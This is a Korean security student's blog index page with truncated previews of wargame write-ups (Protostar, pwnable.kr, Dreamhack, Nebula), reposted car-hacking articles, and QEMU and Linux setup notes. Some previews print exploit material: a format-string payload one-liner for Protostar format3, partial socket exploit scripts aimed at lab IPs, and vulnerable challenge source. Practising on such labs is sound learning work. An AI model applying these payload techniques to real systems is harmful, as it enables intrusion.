티스토리

thinking2
검색하기

블로그 홈

thinking2

grooveshark.tistory.com/m

wtdsoul 님의 블로그입니다.

구독자
3
방명록 방문하기
공지 안녕하세요 모두보기

주요 글 목록

  • Should You Send Your Pen Test Report to the MSRC? https://msrc.microsoft.com/blog/2018/11/should-you-send-your-pen-test-report-to-the-msrc/ Should You Send Your Pen Test Report to the MSRC? | MSRC Blog | Microsoft Security Response CenterEvery day, the Microsoft Security Response Center (MSRC) receives vulnerability reports from security researchers, technology/industry partners, and customers. We want those reports, because they help us make o.. 공감수 1 댓글수 0 2025. 2. 10.
  • Android car service (펌) https://wizzie.top/carservice/android_carservice_structureAndInit/ Android carservice架构及启动流程文档内容：carservice架构介绍，内容有Car APP、Car API、Car Service等部分，carservice启动流程wizzie.top 1. 설명영구 링크1.1. 그림영구 링크Google은 上介绍汽车架构：车载HAL是汽车与车辆网络服务之间的接义义（同时保护传入的数据） :车载HAL은 Android Automotive架构：자동차 앱: 包括OEM 와 第 3 方开发 의 앱Car API: CarSensorManager가 API에 있습니다.位于/platform/packages/services/Car/car-libCarService: 系统中与车상식적인 교.. 공감수 4 댓글수 0 2025. 2. 9.
  • bkcrack tool 경로 https://github.com/kimci86/bkcrack?tab=readme-ov-file GitHub - kimci86/bkcrack: Crack legacy zip encryption with Biham and Kocher's known plaintext attack.Crack legacy zip encryption with Biham and Kocher's known plaintext attack. - kimci86/bkcrackgithub.com 공감수 0 댓글수 0 2025. 2. 5.
  • 진행 예정 https://github.com/DERE-ad2001/Frida-Labs GitHub - DERE-ad2001/Frida-Labs: The repo contains a series of challenges for learning Frida for Android Exploitation.The repo contains a series of challenges for learning Frida for Android Exploitation. - DERE-ad2001/Frida-Labsgithub.com향후 시간 내어서 Fridalab 문제 풀어보기~ 공감수 0 댓글수 0 2025. 2. 4.
  • 윈도우환경에서-QEMU-설치하기-사용법 (펌) https://vuzwa.tistory.com/entry/%EC%9C%88%EB%8F%84%EC%9A%B0%ED%99%98%EA%B2%BD%EC%97%90%EC%84%9C-QEMU-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0-%EC%82%AC%EC%9A%A9%EB%B2%95 윈도우환경에서 QEMU 설치하기, 사용법펌웨어개발 관련 서적을 보면 타겟보드를 지정해주고 항상 QEMU를 언급하면서 보드를 구하지 못하는 경우에 사용하라고 한다. 난 항상 보드를 구매해 공부하는 편이지만 비용이 만만치 않다.(이vuzwa.tistory.com 공감수 0 댓글수 0 2025. 2. 4.
  • Qemu 펌웨어 분석 환경 구축 (펌) (진행 중) https://liveyourit.tistory.com/83 QEMU, 펌웨어를 이용한 가상 공유기 환경 구축 (MIPS)QEMU 에뮬레이터와 QEMU에 가상으로 실행시키고 싶은 공유기 펌웨어를 사용해 가상 공유기 환경을 구축하고 실행시켜보려고 한다. 구축 환경은 우분투 x64이고 펌웨어는 제조사 웹사이트에 공개된liveyourit.tistory.com바이너리 파일 다운로드 경로)https://people.debian.org/~aurel32/qemu/ Index of /~aurel32/qemu people.debian.org- 환경 : Ubuntu x64 (ubuntu-22.04-beta-desktop-amd64- Firmware : 제오사 웹사이트 내 공개된 구버전 펌웨어- 파일시스템 : Mips사용된.. 공감수 0 댓글수 0 2025. 2. 4.
  • Nebula Level 10 (Race Condition) https://velog.io/@woounnan/PWNABLE-Nebula-Level-10 PWNABLE] Nebula Level 10실행파일 인자로 파일, ip를 입력받고파일의 내용을 해당 ip의 18211 포트로 전송한다.level10 디렉토리에는 실행파일인 flag10과 플래그가 담긴 것으로 추측되는 token 파일을 확인할 수 있는데 당연하velog.iohttps://exploit.education/nebula/level-10/아직 소스코드가 있었네 flag10.cpp#include #include #include #include #include #include #include #include #include int main(int argc, char **argv){ char *file; ch.. 공감수 0 댓글수 0 2025. 2. 3.
  • Hyundai app bugs allowed hackers to remotely unlock, start cars (펌) https://www.bleepingcomputer.com/news/security/hyundai-app-bugs-allowed-hackers-to-remotely-unlock-start-cars/ Hyundai app bugs allowed hackers to remotely unlock, start carsVulnerabilities in mobile apps exposed Hyundai and Genesis car models after 2012 to remote attacks that allowed unlocking and even starting the vehicles.www.bleepingcomputer.com Vulnerabilities in mobile apps exposed Hyundai.. 공감수 1 댓글수 0 2025. 2. 2.
  • CAN Flipper hack a car? (펌) https://www.hackster.io/electronic-cats/can-flipper-hack-a-car-ce7ec0 CAN Flipper hack a car?Dives you into using a Flipper Zero paired with CAN bus Add-On to access and interact with a car's CAN network. By Carlos Alatorre, Jazmín Hernández, and Andres Sabas.www.hackster.io StoryElectronic Cats Flipper CANBus Add-On 🐬CAN bus Add-On is a board that allows Flipper Zero devices to connect to CAN .. 공감수 1 댓글수 0 2025. 2. 2.
  • Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin Panel (펌) https://samcurry.net/hacking-subaru Hacking Subaru: Tracking and Controlling Cars via the STARLINK Admin PanelOn November 20, 2024, Shubham Shah and I discovered a security vulnerability in Subaru’s STARLINK admin panel that gave us unrestricted access to all vehicles and customer accounts in the United States, Canada, and Japan.samcurry.netIntroductionOn November 20, 2024, Shubham Shah and I di.. 공감수 1 댓글수 0 2025. 2. 2.
  • 임베디드 바이너리 분석 및 퍼징 등 (진행 중) https://toubva.github.io/blog/fuzzing/2025-01-27-CVE-2024-28283#/ CVE-2024-28283 분석과 KARONTE fuzzer 활용CVE PoC를 분석하며 KARONTE로 발견 과정을 재현해보려 노력했다touBVa.github.io https://github.com/pr0v3rbs/FirmAE GitHub - pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic AnalysisTowards Large-Scale Emulation of IoT Firmware for Dynamic Analysis - pr0v3rbs/FirmAEgithub.com위 FirmAE 설치를 사전에 진.. 공감수 0 댓글수 0 2025. 2. 2.
  • Exploit tech : Return to Shellcode (펌) https://3omh4.tistory.com/entry/systemhacking-Exploit-tech-Return-to-Shellcode#%EB%AC%B-%EC%A-%-C%--%ED%-C%-C%EC%--%--https://learn.dreamhack.io/64#2 로그인 | Dreamhack dreamhack.io몰랐는데 문제풀이 전에 설명이 있는 형태였구나... 잘 만들어져 있네// Name: r2s.c// Compile: gcc -o r2s r2s.c -zexecstack #include #include int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and .. 공감수 2 댓글수 0 2025. 2. 2.
  • 메모리 보호기법 Mitigation: NX & ASLR (펌) https://3omh4.tistory.com/entry/systemhacking-%EB%A9%94%EB%AA%A8%EB%A6%AC-%EB%B3%B4%ED%98%B8%EA%B8%B0%EB%B2%95-Mitigation-NX-ASLR [System][Dreamhack] 메모리 보호기법 Mitigation: NX & ASLR지난 글(Return to shellcode)를 보면 쉘을 딸 수 있었던 이유는 다음과 같다. return addr을 임의의 주소로 덮기 가능 → canary 도입 ⇒ canary leak 으로 우회 버퍼의 주소 알아내기 가능 버퍼안의 쉘코드 실3omh4.tistory.com요약return addr을 임의의 주소로 덮기 가능 → canary 도입 ⇒ canary leak 으로 우회 가능버.. 공감수 0 댓글수 0 2025. 2. 2.
  • onone_gadget 설치 및 사용법 (펌) https://juntheworld.tistory.com/82 one_gadget 설치 및 사용법one_gaget은 실행하면 쉘이 획득되는 코드뭉치이다. 아래도구는 libc에서 쉽게 one_gadget 위치를 찾을 수 있는 도구이며 HITCON, 217 CTF팀 david942j가 만들었다. https://github.com/david942j/one_gadget GitHub - david942jjuntheworld.tistory.com설치sudo apt install rubysudo gem install one_gadget사용one_gadget ./[libc파일]one_gadget ./libc_XX.so 공감수 0 댓글수 0 2025. 2. 2.
  • peda, pwndbg, gef 같이 쓰기 (펌) https://infosecwriteups.com/pwndbg-gef-peda-one-for-all-and-all-for-one-714d71bf36b8 Pwndbg + GEF + Peda — One for all, and all for oneInstall all plugins at the same time and switch with a simple command.infosecwriteups.comThere is no doubt, GDB is an amazing tool that almost every single cyber security professional, trainee, hobbyist and researcher has used it before. It is the swiss army knif.. 공감수 2 댓글수 0 2025. 2. 2.
  • 도커 설치 후 도커 명령어 실행 에러 Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? (펌) https://league-cat.tistory.com/347 도커 설치 후 도커 명령어 실행 에러 Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the dockCannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? 위와 같은 명령어가 뜨면 docker service가 실행이 안되어있는것이다. $sudo systemctl status docker 상태를 확인해 봐라 stop일 것league-cat.tistory.com Cannot connect to the Docker daemon at unix:///var.. 공감수 0 댓글수 0 2025. 2. 1.
  • apt-get 실행시, please insert the disc labeled 오류 (펌) https://sourcebox.dev/blog/20240102/새로 결제한 노트북님 빨리 와주십쇼. 빡세네 빡세 apt-get install 오류데비안OS 터미널에 들어가서보니 vi 만 있지 vim 은 없어서, apt-get install 으로 설치하려 했으나 알 수 없는 disc 를 찾는 메시지만 무한반복되어 나왔다.$ apt-get install vim패키지 목록을 읽는 중입니다... 완료의존성 트리를 만드는 중입니다... 완료상태 정보를 읽는 중입니다... 완료 The following additional packages will be installed: vim-runtime제안하는 패키지: ctags vim-doc vim-scripts다음 새 패키지를 설치할 것입니다: vim .. 공감수 0 댓글수 0 2025. 2. 1.
  • dpkg was interrupted Error 해결 방법 (펌) https://doqtqu.tistory.com/178 [ubuntu] dpkg was interrupted Error 해결 방법E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem. dpkg가 올바르게 구성되지 않아서 발생하는 오류로, 오류 메세지에 나온 커맨드를 그대로 실행하면 해결할 수 있다. sudodoqtqu.tistory.com dpkg가 올바르게 구성되지 않아서 발생하는 오류로,오류 메세지에 나온 커맨드를 그대로 실행하면 해결할 수 있다.sudo dpkg --configure -a 만약 해결되지 않으면 커맨드 입력 전에 $sudo apt-get install -f를 실행해준.. 공감수 0 댓글수 0 2025. 2. 1.
  • Ubuntu 22.04 끊김 현상 https://nuggy875.tistory.com/58 Ubuntu 우분투 인터넷 끊김 현상Ubuntu 우분투 서버를 켜놓고 카페나 외부에서 코딩하는 경우가 많은데, 간헐적으로 Ubuntu 서버 인터넷이 끊겨 난감한 상황이 한 둘 있었다. 이에 해결책을 실행하였고, 앞으로 끊김 현상이 생기는nuggy875.tistory.com 터미널에서 아래 파일을 root권한으로 열고sudo vim /etc/default/avahi-daemon아래와 같이 AVAHI_DAEMON_DETECT_LOCAL 의 값을 0으로 설정한다.AVAHI_DAEMON_DETECT_LOCAL=0그리고 reboot 이 아닌 sudo shutdown now로 적용을 해주었다.그렇게 하니 정상적으로 반영되었다.. 이럴수가??? 이렇게 적용함에.. 공감수 1 댓글수 0 2025. 2. 1.
  • Dreamhack UAF (진행 중) 우분투에 도커 등 설치 완료 후 UAF 고고~ https://velog.io/@leejiwon317/Dreamhack-Exercise-Docker-1nnyeqrt Dreamhack - Exercise: DockerInstall Docker Engine on Ubuntu🔼위 링크를 참고하여 설치하였습니다.이렇게 뜨면 도커 설치 성공!이번 문제는 Dockerfile로 이미지를 빌드하고 컨테이너를 실행해 보기 위한 실습 문제!!!문제 파일을 다velog.iohttps://she11.tistory.com/153 [Dreamhack] uaf_overwrite - write upIndex문제보호기법 확인uaf_overwrite.c코드 분석전역 변수 선언human_func()robot_func()custom_fun.. 공감수 0 댓글수 0 2025. 1. 31.
  • docker 설치 & wsl 재설치 도커 설치 중 wsl 관련 에러가 발생3년전 경에 산 노트북이 이제 퍼포먼스를 견디지 못하고 있다.. (메모리 & 용량 등)급하게 설 전에 노트북을 결제했는데 빨리 와주십쇼. (와이프님 감사)https://200-rush.tistory.com/entry/WSLInstall 윈도우에서 리눅스 실행하기 (WSL 설치 방법)■ WSL이란 무엇인가? 1. Windows Subsystem for Linux의 약자로 Microsoft Windows 운영 체제에서 Linux 환경을 실행할 수 있게 해준다. 2. WSL의 두 가지 버전 : WSL1, WSL2 - WSL1 : Windows 커널과 Linux 커널 간에 가교 역200-rush.tistory.com https://velog.io/@leejiwon317/Dr.. 공감수 0 댓글수 0 2025. 1. 31.
  • pwnable.kr UAF (리마인드) https://power-girl0-0.tistory.com/565 [pwnable] uaf 풀이1. 문제 문제에 주어진 ssh로 접속하면, uaf.cpp와 uaf 실행파일이 주어진다. uaf를 실행해보면, 아래와 같이 메뉴를 보여주고 입력할 수 있는 커서가 존재한다. 2. 풀기 전, 알고 가기 ① 힙영역이란? -power-girl0-0.tistory.com해당 풀이를 참고하여 리마인드차 UAF 문제를 풀어보고자 하였는데 이용이 불가하네일단 개념만 다시보고 드림핵 문제를 풀어봐야겠다.나중에 다시 접근을 해봐야겠다.. ① 힙영역이란?- 메모리를 동적으로 할당하여, 사용하는 공간을 의미한다.- 필요에 의해, 메모리를 할당하고 해제한다.② heap overflow란?- 할당된 메모리보다 많은 값을 넣어서, 다.. 공감수 0 댓글수 0 2025. 1. 31.
  • protostar net3 import structimport socketimport timedef until(s, string): data = b'' while string not in data: data += s.recv(1) return datas = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(('192.168.249.139', 2997))l = list()l.append(int(struct.unpack('import socketimport structs = socket.socket()s.connect(("192.168.56.101",2997))sum = 0for i in range(4): data = s.recv(4) data = ".. 공감수 0 댓글수 0 2025. 1. 31.
  • protostar net1 #include "../common/common.c"#define NAME "net1"#define UID 998#define GID 988#define PORT 2998void run(){ char buf[12]; char fub[12]; char *q; unsigned int wanted; wanted = random(); sprintf(fub, "%d", wanted); if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted) { errx(1, ":(\n)"); } if(fgets(buf, sizeof(buf) -1, stdin) == NULL) { errx(1, ":( \n"); } q = strchr(buf, '\r'); if(q) *q =.. 공감수 0 댓글수 0 2025. 1. 31.
  • eprotostar heap1 #include #include #include #include struct internet { int priority; char *name;};void winner() { printff("and we have a winner @ %d \n", time(NULL));}int main(int argc, char **argv){ struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1 -> priority = 1; i1 -> name = malloc(8); i2 = malloc(sizeof(struct internet)); i2 -> priority = 2; i2 -> name = malloc(8); strcpy(i1 -> nam.. 공감수 0 댓글수 0 2025. 1. 31.
  • protostar net0 https://github.com/LYoungJoo/WarGame_WrteUp/blob/master/protostar/Net0-2%20Write%20Up/NET0.py WarGame_WrteUp/protostar/Net0-2 Write Up/NET0.py at master · LYoungJoo/WarGame_WrteUpwargame writeup. Contribute to LYoungJoo/WarGame_WrteUp development by creating an account on GitHub.github.com 백그라운드로 구동#include "../common/common.c"#define NAME "net0"#define UID 999#define GID 999#define PORT 2999voi.. 공감수 0 댓글수 0 2025. 1. 30.
  • protostar heap1 https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/ PLT와 GOT 자세히 알기 1Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을bpsecblog.wordpress.com #include #include #include #include #include struct internet { int priority; char *name;};void winner(){ printf("and we have a winner @ %d\n", time(NULL));}int main(int .. 공감수 0 댓글수 0 2025. 1. 30.
  • protostar heap0 #include #include #include #include #include struct data { char name[64];};struct fp { int (*fp)();};void winner(){ printf("level passed\n");}void nowinner(){ printf("level has not been passed\n");}int main(int argc, char **argv){ struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f);.. 공감수 0 댓글수 0 2025. 1. 30.
  • protostar format3 https://blog.naver.com/seongjin0526/221330979343?trackingCode=rss exploit-exercises protostar format3(gdb) info fun All defined functions: File format3/format3.c: int main(int, char **); void printbu...blog.naver.com  (python -c 'print "AAAA"+".%8x"*12') | ./format3(python -c 'print "\xf4\x96\x04\x08" + "%08x" * 10 + "%16930032x%n"') | ./format3변경해야하는 값0x0102554는 10진수로 16930116 이다.페이로드는 target 주.. 공감수 0 댓글수 0 2025. 1. 30.
  • QEMU(Quick Amulator) 펌웨어 가상 공유 환경 구축 https://liveyourit.tistory.com/83 QEMU, 펌웨어를 이용한 가상 공유기 환경 구축 (MIPS)QEMU 에뮬레이터와 QEMU에 가상으로 실행시키고 싶은 공유기 펌웨어를 사용해 가상 공유기 환경을 구축하고 실행시켜보려고 한다. 구축 환경은 우분투 x64이고 펌웨어는 제조사 웹사이트에 공개된liveyourit.tistory.com참고위 경로와 동일하게 - 환경 : ubuntu-22.04-beta-desktop-amd64.iso- 펌웨어 : 구버전 펌웨어- 파일시스템 : MIPS이미지 파일 다운로드 경로https://people.debian.org/~aurel32/qemu/mips/https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2... 공감수 2 댓글수 0 2025. 1. 30.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.